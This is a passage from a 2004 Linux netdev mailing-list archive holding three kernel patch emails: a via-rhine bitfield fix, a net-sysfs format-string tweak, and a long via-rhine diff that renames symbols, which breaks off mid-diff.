2004 01:11:18 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i4MNBHNu003451; Sun, 23 May 2004 01:11:17 +0200 Date: Sun, 23 May 2004 01:11:17 +0200 From: Christoph Hellwig To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH] remove broken bitfield use from via-rhine Message-ID: <20040522231117.GA3416@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev From: Debian kernel package, author probably Herbert Xu we're using it to assign if_port to it only anyway so it should have the same type. * Fixed size of default_port in drivers/net/via-rhine.c diff -urN kernel-source-2.6.6/drivers/net/via-rhine.c kernel-source-2.6.6-1/drivers/net/via-rhine.c --- kernel-source-2.6.6/drivers/net/via-rhine.c 2004-05-10 19:47:56.000000000 +1000 +++ kernel-source-2.6.6-1/drivers/net/via-rhine.c 2004-05-10 22:21:34.000000000 +1000 @@ -523,8 +523,8 @@ u16 chip_cmd; /* Current setting for ChipCmd */ /* These values are keep track of the transceiver/media in use. */ - unsigned int default_port:4; /* Last dev->if_port value. */ u8 tx_thresh, rx_thresh; + unsigned int default_port; /* Last dev->if_port value. */ /* MII transceiver section. */ unsigned char phys[MAX_MII_CNT]; /* MII device addresses. */ From vadim@cs.washington.edu Sun May 23 01:48:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 01:48:53 -0700 (PDT) Received: from mx4.cs.washington.edu (mx4.cs.washington.edu [128.208.4.190]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4N8mkKO020490 for ; Sun, 23 May 2004 01:48:46 -0700 Received: from attu2.cs.washington.edu (attu2.cs.washington.edu [128.208.1.138]) by mx4.cs.washington.edu (8.12.11/8.12.11/1.4) with ESMTP id i4N8mkZb002844; Sun, 23 May 2004 01:48:46 -0700 (envelope-from vadim@cs.washington.edu) Received: from localhost (vadim@localhost) by attu2.cs.washington.edu (8.12.10/8.12.10/Submit/1.5) with ESMTP id i4N8mj79031739; Sun, 23 May 2004 01:48:45 -0700 (envelope-from vadim@cs.washington.edu) X-Authentication-Warning: attu2.cs.washington.edu: vadim owned process doing -bs Date: Sun, 23 May 2004 01:48:45 -0700 (PDT) From: Vadim Lobanov To: netdev@oss.sgi.com, Subject: [PATCH] Trivial patch in /net/core/net-sysfs.c Message-ID: <20040523014005.R31528-100000@attu2.cs.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vadim@cs.washington.edu Precedence: bulk X-list: netdev Hello, Here is a trivial patch to /net/core/net-sysfs.c, to remove 3 unnecessary word lengths from memory. Diffed against the base 2.6.6 tree. Please note that this is a first stab at attempting to submit a patch, so let me know if something's not quite right, so that I can rework it. :) ========================================================================= --- linux-2.6.6/net/core/net-sysfs.c 2004-05-09 19:33:19.000000000 -0700 +++ linux-2.6.6/net/core/net-sysfs.c 2004-05-23 01:33:57.000000000 -0700 @@ -20,9 +20,9 @@ #define to_class_dev(obj) container_of(obj,struct class_device,kobj) #define to_net_dev(class) container_of(class, struct net_device, class_dev) -static const char *fmt_hex = "%#x\n"; -static const char *fmt_dec = "%d\n"; -static const char *fmt_ulong = "%lu\n"; +static const char fmt_hex[] = "%#x\n"; +static const char fmt_dec[] = "%d\n"; +static const char fmt_ulong[] = "%lu\n"; static inline int dev_isalive(const struct net_device *dev) { ======================================================================== -Vadim Lobanov From rl@hellgate.ch Sun May 23 03:50:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 03:51:06 -0700 (PDT) Received: from mail5.bluewin.ch (mail5.bluewin.ch [195.186.1.207]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NAooKO024443 for ; Sun, 23 May 2004 03:50:51 -0700 Received: from k3.hellgate.ch (81.62.85.188) by mail5.bluewin.ch (Bluewin AG 7.0.028) id 40A46B2100113BEC; Sun, 23 May 2004 10:50:32 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id 322575A3B3E; Sun, 23 May 2004 12:50:13 +0200 (CEST) Date: Sun, 23 May 2004 12:50:13 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [2/4][PATCH 2.6] via-rhine: Rename some symbols Message-ID: <20040523105012.GA10200@k3.hellgate.ch> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="h31gzZEtNLTqOjlF" Content-Disposition: inline In-Reply-To: <20040523104650.GA9979@k3.hellgate.ch> X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline This patch renames symbols: via_rhine_* -> rhine_* struct netdev_private *np -> struct rhine_private *rp --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-rhine-2.6.6-2-names.diff" --- linux-2.6.6/drivers/net/via-rhine.c 2004-05-20 18:13:30.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/via-rhine.c 2004-05-23 10:23:00.792437570 +0200 @@ -361,14 +361,14 @@ enum pci_flags_bit { PCI_ADDR0=0x10<<0, PCI_ADDR1=0x10<<1, PCI_ADDR2=0x10<<2, PCI_ADDR3=0x10<<3, }; -enum via_rhine_chips { +enum rhine_chips { VT86C100A = 0, VT6102, VT6105, VT6105M }; -struct via_rhine_chip_info { +struct rhine_chip_info { const char *name; u16 pci_flags; int io_size; @@ -388,8 +388,8 @@ enum chip_capability_flags { /* Beware of PCI posted writes */ #define IOSYNC do { readb(dev->base_addr + StationAddr); } while (0) -/* directly indexed by enum via_rhine_chips, above */ -static struct via_rhine_chip_info via_rhine_chip_info[] __devinitdata = +/* directly indexed by enum rhine_chips, above */ +static struct rhine_chip_info rhine_chip_info[] __devinitdata = { { "VIA VT86C100A Rhine", RHINE_IOTYPE, 128, CanHaveMII | ReqTxAlign | HasDavicomPhy }, @@ -401,7 +401,7 @@ static struct via_rhine_chip_info via_rh CanHaveMII | HasWOL }, }; -static struct pci_device_id via_rhine_pci_tbl[] = +static struct pci_device_id rhine_pci_tbl[] = { {0x1106, 0x3043, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT86C100A}, {0x1106, 0x3065, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT6102}, @@ -409,7 +409,7 @@ static struct pci_device_id via_rhine_pc {0x1106, 0x3053, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT6105M}, {0,} /* terminate list */ }; -MODULE_DEVICE_TABLE(pci, via_rhine_pci_tbl); +MODULE_DEVICE_TABLE(pci, rhine_pci_tbl); /* Offsets to the device registers. */ @@ -489,7 +489,7 @@ enum chip_cmd_bits { }; #define MAX_MII_CNT 4 -struct netdev_private { +struct rhine_private { /* Descriptor rings */ struct rx_desc *rx_ring; struct tx_desc *tx_ring; @@ -535,30 +535,30 @@ struct netdev_private { static int mdio_read(struct net_device *dev, int phy_id, int location); static void mdio_write(struct net_device *dev, int phy_id, int location, int value); -static int via_rhine_open(struct net_device *dev); -static void via_rhine_check_duplex(struct net_device *dev); -static void via_rhine_timer(unsigned long data); -static void via_rhine_tx_timeout(struct net_device *dev); -static int via_rhine_start_tx(struct sk_buff *skb, struct net_device *dev); -static irqreturn_t via_rhine_interrupt(int irq, void *dev_instance, struct pt_regs *regs); -static void via_rhine_tx(struct net_device *dev); -static void via_rhine_rx(struct net_device *dev); -static void via_rhine_error(struct net_device *dev, int intr_status); -static void via_rhine_set_rx_mode(struct net_device *dev); -static struct net_device_stats *via_rhine_get_stats(struct net_device *dev); +static int rhine_open(struct net_device *dev); +static void rhine_check_duplex(struct net_device *dev); +static void rhine_timer(unsigned long data); +static void rhine_tx_timeout(struct net_device *dev); +static int rhine_start_tx(struct sk_buff *skb, struct net_device *dev); +static irqreturn_t rhine_interrupt(int irq, void *dev_instance, struct pt_regs *regs); +static void rhine_tx(struct net_device *dev); +static void rhine_rx(struct net_device *dev); +static void rhine_error(struct net_device *dev, int intr_status); +static void rhine_set_rx_mode(struct net_device *dev); +static struct net_device_stats *rhine_get_stats(struct net_device *dev); static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static struct ethtool_ops netdev_ethtool_ops; -static int via_rhine_close(struct net_device *dev); +static int rhine_close(struct net_device *dev); static inline u32 get_intr_status(struct net_device *dev) { long ioaddr = dev->base_addr; - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; u32 intr_status; intr_status = readw(ioaddr + IntrStatus); /* On Rhine-II, Bit 3 indicates Tx descriptor write-back race. */ - if (np->chip_id == VT6102) + if (rp->chip_id == VT6102) intr_status |= readb(ioaddr + IntrStatus2) << 16; return intr_status; } @@ -616,19 +616,19 @@ static void __devinit reload_eeprom(long } #ifdef CONFIG_NET_POLL_CONTROLLER -static void via_rhine_poll(struct net_device *dev) +static void rhine_poll(struct net_device *dev) { disable_irq(dev->irq); - via_rhine_interrupt(dev->irq, (void *)dev, NULL); + rhine_interrupt(dev->irq, (void *)dev, NULL); enable_irq(dev->irq); } #endif -static int __devinit via_rhine_init_one (struct pci_dev *pdev, +static int __devinit rhine_init_one (struct pci_dev *pdev, const struct pci_device_id *ent) { struct net_device *dev; - struct netdev_private *np; + struct rhine_private *rp; int i, option; int chip_id = (int) ent->driver_data; static int card_idx = -1; @@ -649,8 +649,8 @@ static int __devinit via_rhine_init_one card_idx++; option = card_idx < MAX_UNITS ? options[card_idx] : 0; - io_size = via_rhine_chip_info[chip_id].io_size; - pci_flags = via_rhine_chip_info[chip_id].pci_flags; + io_size = rhine_chip_info[chip_id].io_size; + pci_flags = rhine_chip_info[chip_id].pci_flags; if (pci_enable_device (pdev)) goto err_out; @@ -674,7 +674,7 @@ static int __devinit via_rhine_init_one if (pci_flags & PCI_USES_MASTER) pci_set_master (pdev); - dev = alloc_etherdev(sizeof(*np)); + dev = alloc_etherdev(sizeof(*rp)); if (dev == NULL) { printk (KERN_ERR "init_ethernet failed for card #%d\n", card_idx); goto err_out; @@ -711,7 +711,7 @@ static int __devinit via_rhine_init_one #endif /* D-Link provided reset code (with comment additions) */ - if (via_rhine_chip_info[chip_id].drv_flags & HasWOL) { + if (rhine_chip_info[chip_id].drv_flags & HasWOL) { unsigned char byOrgValue; /* clear sticky bit before reset & read ethernet address */ @@ -769,34 +769,34 @@ static int __devinit via_rhine_init_one dev->irq = pdev->irq; - np = dev->priv; - spin_lock_init (&np->lock); - np->chip_id = chip_id; - np->drv_flags = via_rhine_chip_info[chip_id].drv_flags; - np->pdev = pdev; - np->mii_if.dev = dev; - np->mii_if.mdio_read = mdio_read; - np->mii_if.mdio_write = mdio_write; - np->mii_if.phy_id_mask = 0x1f; - np->mii_if.reg_num_mask = 0x1f; + rp = dev->priv; + spin_lock_init (&rp->lock); + rp->chip_id = chip_id; + rp->drv_flags = rhine_chip_info[chip_id].drv_flags; + rp->pdev = pdev; + rp->mii_if.dev = dev; + rp->mii_if.mdio_read = mdio_read; + rp->mii_if.mdio_write = mdio_write; + rp->mii_if.phy_id_mask = 0x1f; + rp->mii_if.reg_num_mask = 0x1f; if (dev->mem_start) option = dev->mem_start; /* The chip-specific entries in the device structure. */ - dev->open = via_rhine_open; - dev->hard_start_xmit = via_rhine_start_tx; - dev->stop = via_rhine_close; - dev->get_stats = via_rhine_get_stats; - dev->set_multicast_list = via_rhine_set_rx_mode; + dev->open = rhine_open; + dev->hard_start_xmit = rhine_start_tx; + dev->stop = rhine_close; + dev->get_stats = rhine_get_stats; + dev->set_multicast_list = rhine_set_rx_mode; dev->do_ioctl = netdev_ioctl; dev->ethtool_ops = &netdev_ethtool_ops; - dev->tx_timeout = via_rhine_tx_timeout; + dev->tx_timeout = rhine_tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; #ifdef CONFIG_NET_POLL_CONTROLLER - dev->poll_controller = via_rhine_poll; + dev->poll_controller = rhine_poll; #endif - if (np->drv_flags & ReqTxAlign) + if (rp->drv_flags & ReqTxAlign) dev->features |= NETIF_F_SG|NETIF_F_HW_CSUM; /* dev->name not defined before register_netdev()! */ @@ -807,20 +807,20 @@ static int __devinit via_rhine_init_one /* The lower four bits are the media type. */ if (option > 0) { if (option & 0x220) - np->mii_if.full_duplex = 1; - np->default_port = option & 15; + rp->mii_if.full_duplex = 1; + rp->default_port = option & 15; } if (card_idx < MAX_UNITS && full_duplex[card_idx] > 0) - np->mii_if.full_duplex = 1; + rp->mii_if.full_duplex = 1; - if (np->mii_if.full_duplex) { + if (rp->mii_if.full_duplex) { printk(KERN_INFO "%s: Set to forced full duplex, autonegotiation" " disabled.\n", dev->name); - np->mii_if.force_media = 1; + rp->mii_if.force_media = 1; } printk(KERN_INFO "%s: %s at 0x%lx, ", - dev->name, via_rhine_chip_info[chip_id].name, + dev->name, rhine_chip_info[chip_id].name, (pci_flags & PCI_USES_IO) ? ioaddr : memaddr); for (i = 0; i < 5; i++) @@ -829,17 +829,17 @@ static int __devinit via_rhine_init_one pci_set_drvdata(pdev, dev); - if (np->drv_flags & CanHaveMII) { + if (rp->drv_flags & CanHaveMII) { int phy, phy_idx = 0; - np->phys[0] = 1; /* Standard for this chip. */ + rp->phys[0] = 1; /* Standard for this chip. */ for (phy = 1; phy < 32 && phy_idx < MAX_MII_CNT; phy++) { int mii_status = mdio_read(dev, phy, 1); if (mii_status != 0xffff && mii_status != 0x0000) { - np->phys[phy_idx++] = phy; - np->mii_if.advertising = mdio_read(dev, phy, 4); + rp->phys[phy_idx++] = phy; + rp->mii_if.advertising = mdio_read(dev, phy, 4); printk(KERN_INFO "%s: MII PHY found at address %d, status " "0x%4.4x advertising %4.4x Link %4.4x.\n", - dev->name, phy, mii_status, np->mii_if.advertising, + dev->name, phy, mii_status, rp->mii_if.advertising, mdio_read(dev, phy, 5)); /* set IFF_RUNNING */ @@ -851,23 +851,23 @@ static int __devinit via_rhine_init_one break; } } - np->mii_cnt = phy_idx; - np->mii_if.phy_id = np->phys[0]; + rp->mii_cnt = phy_idx; + rp->mii_if.phy_id = rp->phys[0]; } /* Allow forcing the media type. */ if (option > 0) { if (option & 0x220) - np->mii_if.full_duplex = 1; - np->default_port = option & 0x3ff; + rp->mii_if.full_duplex = 1; + rp->default_port = option & 0x3ff; if (option & 0x330) { /* FIXME: shouldn't someone check this variable? */ - /* np->medialock = 1; */ + /* rp->medialock = 1; */ printk(KERN_INFO " Forcing %dMbs %s-duplex operation.\n", (option & 0x300 ? 100 : 10), (option & 0x220 ? "full" : "half")); - if (np->mii_cnt) - mdio_write(dev, np->phys[0], MII_BMCR, + if (rp->mii_cnt) + mdio_write(dev, rp->phys[0], MII_BMCR, ((option & 0x300) ? 0x2000 : 0) | /* 100mbps? */ ((option & 0x220) ? 0x0100 : 0)); /* Full duplex? */ } @@ -889,11 +889,11 @@ err_out: static int alloc_ring(struct net_device* dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; void *ring; dma_addr_t ring_dma; - ring = pci_alloc_consistent(np->pdev, + ring = pci_alloc_consistent(rp->pdev, RX_RING_SIZE * sizeof(struct rx_desc) + TX_RING_SIZE * sizeof(struct tx_desc), &ring_dma); @@ -901,11 +901,11 @@ static int alloc_ring(struct net_device* printk(KERN_ERR "Could not allocate DMA memory.\n"); return -ENOMEM; } - if (np->drv_flags & ReqTxAlign) { - np->tx_bufs = pci_alloc_consistent(np->pdev, PKT_BUF_SZ * TX_RING_SIZE, - &np->tx_bufs_dma); - if (np->tx_bufs == NULL) { - pci_free_consistent(np->pdev, + if (rp->drv_flags & ReqTxAlign) { + rp->tx_bufs = pci_alloc_consistent(rp->pdev, PKT_BUF_SZ * TX_RING_SIZE, + &rp->tx_bufs_dma); + if (rp->tx_bufs == NULL) { + pci_free_consistent(rp->pdev, RX_RING_SIZE * sizeof(struct rx_desc) + TX_RING_SIZE * sizeof(struct tx_desc), ring, ring_dma); @@ -913,137 +913,137 @@ static int alloc_ring(struct net_device* } } - np->rx_ring = ring; - np->tx_ring = ring + RX_RING_SIZE * sizeof(struct rx_desc); - np->rx_ring_dma = ring_dma; - np->tx_ring_dma = ring_dma + RX_RING_SIZE * sizeof(struct rx_desc); + rp->rx_ring = ring; + rp->tx_ring = ring + RX_RING_SIZE * sizeof(struct rx_desc); + rp->rx_ring_dma = ring_dma; + rp->tx_ring_dma = ring_dma + RX_RING_SIZE * sizeof(struct rx_desc); return 0; } void free_ring(struct net_device* dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; - pci_free_consistent(np->pdev, + pci_free_consistent(rp->pdev, RX_RING_SIZE * sizeof(struct rx_desc) + TX_RING_SIZE * sizeof(struct tx_desc), - np->rx_ring, np->rx_ring_dma); - np->tx_ring = NULL; + rp->rx_ring, rp->rx_ring_dma); + rp->tx_ring = NULL; - if (np->tx_bufs) - pci_free_consistent(np->pdev, PKT_BUF_SZ * TX_RING_SIZE, - np->tx_bufs, np->tx_bufs_dma); + if (rp->tx_bufs) + pci_free_consistent(rp->pdev, PKT_BUF_SZ * TX_RING_SIZE, + rp->tx_bufs, rp->tx_bufs_dma); - np->tx_bufs = NULL; + rp->tx_bufs = NULL; } static void alloc_rbufs(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; dma_addr_t next; int i; - np->dirty_rx = np->cur_rx = 0; + rp->dirty_rx = rp->cur_rx = 0; - np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); - np->rx_head_desc = &np->rx_ring[0]; - next = np->rx_ring_dma; + rp->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); + rp->rx_head_desc = &rp->rx_ring[0]; + next = rp->rx_ring_dma; /* Init the ring entries */ for (i = 0; i < RX_RING_SIZE; i++) { - np->rx_ring[i].rx_status = 0; - np->rx_ring[i].desc_length = cpu_to_le32(np->rx_buf_sz); + rp->rx_ring[i].rx_status = 0; + rp->rx_ring[i].desc_length = cpu_to_le32(rp->rx_buf_sz); next += sizeof(struct rx_desc); - np->rx_ring[i].next_desc = cpu_to_le32(next); - np->rx_skbuff[i] = 0; + rp->rx_ring[i].next_desc = cpu_to_le32(next); + rp->rx_skbuff[i] = 0; } /* Mark the last entry as wrapping the ring. */ - np->rx_ring[i-1].next_desc = cpu_to_le32(np->rx_ring_dma); + rp->rx_ring[i-1].next_desc = cpu_to_le32(rp->rx_ring_dma); /* Fill in the Rx buffers. Handle allocation failure gracefully. */ for (i = 0; i < RX_RING_SIZE; i++) { - struct sk_buff *skb = dev_alloc_skb(np->rx_buf_sz); - np->rx_skbuff[i] = skb; + struct sk_buff *skb = dev_alloc_skb(rp->rx_buf_sz); + rp->rx_skbuff[i] = skb; if (skb == NULL) break; skb->dev = dev; /* Mark as being used by this device. */ - np->rx_skbuff_dma[i] = - pci_map_single(np->pdev, skb->tail, np->rx_buf_sz, + rp->rx_skbuff_dma[i] = + pci_map_single(rp->pdev, skb->tail, rp->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->rx_ring[i].addr = cpu_to_le32(np->rx_skbuff_dma[i]); - np->rx_ring[i].rx_status = cpu_to_le32(DescOwn); + rp->rx_ring[i].addr = cpu_to_le32(rp->rx_skbuff_dma[i]); + rp->rx_ring[i].rx_status = cpu_to_le32(DescOwn); } - np->dirty_rx = (unsigned int)(i - RX_RING_SIZE); + rp->dirty_rx = (unsigned int)(i - RX_RING_SIZE); } static void free_rbufs(struct net_device* dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; int i; /* Free all the skbuffs in the Rx queue. */ for (i = 0; i < RX_RING_SIZE; i++) { - np->rx_ring[i].rx_status = 0; - np->rx_ring[i].addr = cpu_to_le32(0xBADF00D0); /* An invalid address. */ - if (np->rx_skbuff[i]) { - pci_unmap_single(np->pdev, - np->rx_skbuff_dma[i], - np->rx_buf_sz, PCI_DMA_FROMDEVICE); - dev_kfree_skb(np->rx_skbuff[i]); + rp->rx_ring[i].rx_status = 0; + rp->rx_ring[i].addr = cpu_to_le32(0xBADF00D0); /* An invalid address. */ + if (rp->rx_skbuff[i]) { + pci_unmap_single(rp->pdev, + rp->rx_skbuff_dma[i], + rp->rx_buf_sz, PCI_DMA_FROMDEVICE); + dev_kfree_skb(rp->rx_skbuff[i]); } - np->rx_skbuff[i] = 0; + rp->rx_skbuff[i] = 0; } } static void alloc_tbufs(struct net_device* dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; dma_addr_t next; int i; - np->dirty_tx = np->cur_tx = 0; - next = np->tx_ring_dma; + rp->dirty_tx = rp->cur_tx = 0; + next = rp->tx_ring_dma; for (i = 0; i < TX_RING_SIZE; i++) { - np->tx_skbuff[i] = 0; - np->tx_ring[i].tx_status = 0; - np->tx_ring[i].desc_length = cpu_to_le32(TXDESC); + rp->tx_skbuff[i] = 0; + rp->tx_ring[i].tx_status = 0; + rp->tx_ring[i].desc_length = cpu_to_le32(TXDESC); next += sizeof(struct tx_desc); - np->tx_ring[i].next_desc = cpu_to_le32(next); - np->tx_buf[i] = &np->tx_bufs[i * PKT_BUF_SZ]; + rp->tx_ring[i].next_desc = cpu_to_le32(next); + rp->tx_buf[i] = &rp->tx_bufs[i * PKT_BUF_SZ]; } - np->tx_ring[i-1].next_desc = cpu_to_le32(np->tx_ring_dma); + rp->tx_ring[i-1].next_desc = cpu_to_le32(rp->tx_ring_dma); } static void free_tbufs(struct net_device* dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; int i; for (i = 0; i < TX_RING_SIZE; i++) { - np->tx_ring[i].tx_status = 0; - np->tx_ring[i].desc_length = cpu_to_le32(TXDESC); - np->tx_ring[i].addr = cpu_to_le32(0xBADF00D0); /* An invalid address. */ - if (np->tx_skbuff[i]) { - if (np->tx_skbuff_dma[i]) { - pci_unmap_single(np->pdev, - np->tx_skbuff_dma[i], - np->tx_skbuff[i]->len, PCI_DMA_TODEVICE); + rp->tx_ring[i].tx_status = 0; + rp->tx_ring[i].desc_length = cpu_to_le32(TXDESC); + rp->tx_ring[i].addr = cpu_to_le32(0xBADF00D0); /* An invalid address. */ + if (rp->tx_skbuff[i]) { + if (rp->tx_skbuff_dma[i]) { + pci_unmap_single(rp->pdev, + rp->tx_skbuff_dma[i], + rp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); } - dev_kfree_skb(np->tx_skbuff[i]); + dev_kfree_skb(rp->tx_skbuff[i]); } - np->tx_skbuff[i] = 0; - np->tx_buf[i] = 0; + rp->tx_skbuff[i] = 0; + rp->tx_buf[i] = 0; } } static void init_registers(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; int i; @@ -1054,17 +1054,17 @@ static void init_registers(struct net_de writew(0x0006, ioaddr + PCIBusConfig); /* Tune configuration??? */ /* Configure initial FIFO thresholds. */ writeb(0x20, ioaddr + TxConfig); - np->tx_thresh = 0x20; - np->rx_thresh = 0x60; /* Written in via_rhine_set_rx_mode(). */ - np->mii_if.full_duplex = 0; + rp->tx_thresh = 0x20; + rp->rx_thresh = 0x60; /* Written in rhine_set_rx_mode(). */ + rp->mii_if.full_duplex = 0; if (dev->if_port == 0) - dev->if_port = np->default_port; + dev->if_port = rp->default_port; - writel(np->rx_ring_dma, ioaddr + RxRingPtr); - writel(np->tx_ring_dma, ioaddr + TxRingPtr); + writel(rp->rx_ring_dma, ioaddr + RxRingPtr); + writel(rp->tx_ring_dma, ioaddr + TxRingPtr); - via_rhine_set_rx_mode(dev); + rhine_set_rx_mode(dev); /* Enable interrupts by setting the interrupt mask. */ writew(IntrRxDone | IntrRxErr | IntrRxEmpty| IntrRxOverflow | @@ -1073,18 +1073,18 @@ static void init_registers(struct net_de IntrPCIErr | IntrStatsMax | IntrLinkChange, ioaddr + IntrEnable); - np->chip_cmd = CmdStart|CmdTxOn|CmdRxOn|CmdNoTxPoll; - if (np->mii_if.force_media) - np->chip_cmd |= CmdFDuplex; - writew(np->chip_cmd, ioaddr + ChipCmd); + rp->chip_cmd = CmdStart|CmdTxOn|CmdRxOn|CmdNoTxPoll; + if (rp->mii_if.force_media) + rp->chip_cmd |= CmdFDuplex; + writew(rp->chip_cmd, ioaddr + ChipCmd); - via_rhine_check_duplex(dev); + rhine_check_duplex(dev); /* The LED outputs of various MII xcvrs should be configured. */ /* For NS or Mison phys, turn on bit 1 in register 0x17 */ /* For ESI phys, turn on bit 7 in register 0x17. */ - mdio_write(dev, np->phys[0], 0x17, mdio_read(dev, np->phys[0], 0x17) | - (np->drv_flags & HasESIPhy) ? 0x0080 : 0x0001); + mdio_write(dev, rp->phys[0], 0x17, mdio_read(dev, rp->phys[0], 0x17) | + (rp->drv_flags & HasESIPhy) ? 0x0080 : 0x0001); } /* Read and write over the MII Management Data I/O (MDIO) interface. */ @@ -1108,20 +1108,20 @@ static int mdio_read(struct net_device * static void mdio_write(struct net_device *dev, int phy_id, int regnum, int value) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; int boguscnt = 1024; - if (phy_id == np->phys[0]) { + if (phy_id == rp->phys[0]) { switch (regnum) { case MII_BMCR: /* Is user forcing speed/duplex? */ if (value & 0x9000) /* Autonegotiation. */ - np->mii_if.force_media = 0; + rp->mii_if.force_media = 0; else - np->mii_if.full_duplex = (value & 0x0100) ? 1 : 0; + rp->mii_if.full_duplex = (value & 0x0100) ? 1 : 0; break; case MII_ADVERTISE: - np->mii_if.advertising = value; + rp->mii_if.advertising = value; break; } } @@ -1137,78 +1137,78 @@ static void mdio_write(struct net_device } -static int via_rhine_open(struct net_device *dev) +static int rhine_open(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; int i; /* Reset the chip. */ writew(CmdReset, ioaddr + ChipCmd); - i = request_irq(np->pdev->irq, &via_rhine_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(rp->pdev->irq, &rhine_interrupt, SA_SHIRQ, dev->name, dev); if (i) return i; if (debug > 1) - printk(KERN_DEBUG "%s: via_rhine_open() irq %d.\n", - dev->name, np->pdev->irq); + printk(KERN_DEBUG "%s: rhine_open() irq %d.\n", + dev->name, rp->pdev->irq); i = alloc_ring(dev); if (i) return i; alloc_rbufs(dev); alloc_tbufs(dev); - wait_for_reset(dev, np->chip_id, dev->name); + wait_for_reset(dev, rp->chip_id, dev->name); init_registers(dev); if (debug > 2) - printk(KERN_DEBUG "%s: Done via_rhine_open(), status %4.4x " + printk(KERN_DEBUG "%s: Done rhine_open(), status %4.4x " "MII status: %4.4x.\n", dev->name, readw(ioaddr + ChipCmd), - mdio_read(dev, np->phys[0], MII_BMSR)); + mdio_read(dev, rp->phys[0], MII_BMSR)); netif_start_queue(dev); /* Set the timer to check for link beat. */ - init_timer(&np->timer); - np->timer.expires = jiffies + 2 * HZ/100; - np->timer.data = (unsigned long)dev; - np->timer.function = &via_rhine_timer; /* timer handler */ - add_timer(&np->timer); + init_timer(&rp->timer); + rp->timer.expires = jiffies + 2 * HZ/100; + rp->timer.data = (unsigned long)dev; + rp->timer.function = &rhine_timer; /* timer handler */ + add_timer(&rp->timer); return 0; } -static void via_rhine_check_duplex(struct net_device *dev) +static void rhine_check_duplex(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - int mii_lpa = mdio_read(dev, np->phys[0], MII_LPA); - int negotiated = mii_lpa & np->mii_if.advertising; + int mii_lpa = mdio_read(dev, rp->phys[0], MII_LPA); + int negotiated = mii_lpa & rp->mii_if.advertising; int duplex; - if (np->mii_if.force_media || mii_lpa == 0xffff) + if (rp->mii_if.force_media || mii_lpa == 0xffff) return; duplex = (negotiated & 0x0100) || (negotiated & 0x01C0) == 0x0040; - if (np->mii_if.full_duplex != duplex) { - np->mii_if.full_duplex = duplex; + if (rp->mii_if.full_duplex != duplex) { + rp->mii_if.full_duplex = duplex; if (debug) printk(KERN_INFO "%s: Setting %s-duplex based on MII #%d link" " partner capability of %4.4x.\n", dev->name, - duplex ? "full" : "half", np->phys[0], mii_lpa); + duplex ? "full" : "half", rp->phys[0], mii_lpa); if (duplex) - np->chip_cmd |= CmdFDuplex; + rp->chip_cmd |= CmdFDuplex; else - np->chip_cmd &= ~CmdFDuplex; - writew(np->chip_cmd, ioaddr + ChipCmd); + rp->chip_cmd &= ~CmdFDuplex; + writew(rp->chip_cmd, ioaddr + ChipCmd); } } -static void via_rhine_timer(unsigned long data) +static void rhine_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; int next_tick = 10*HZ; int mii_status; @@ 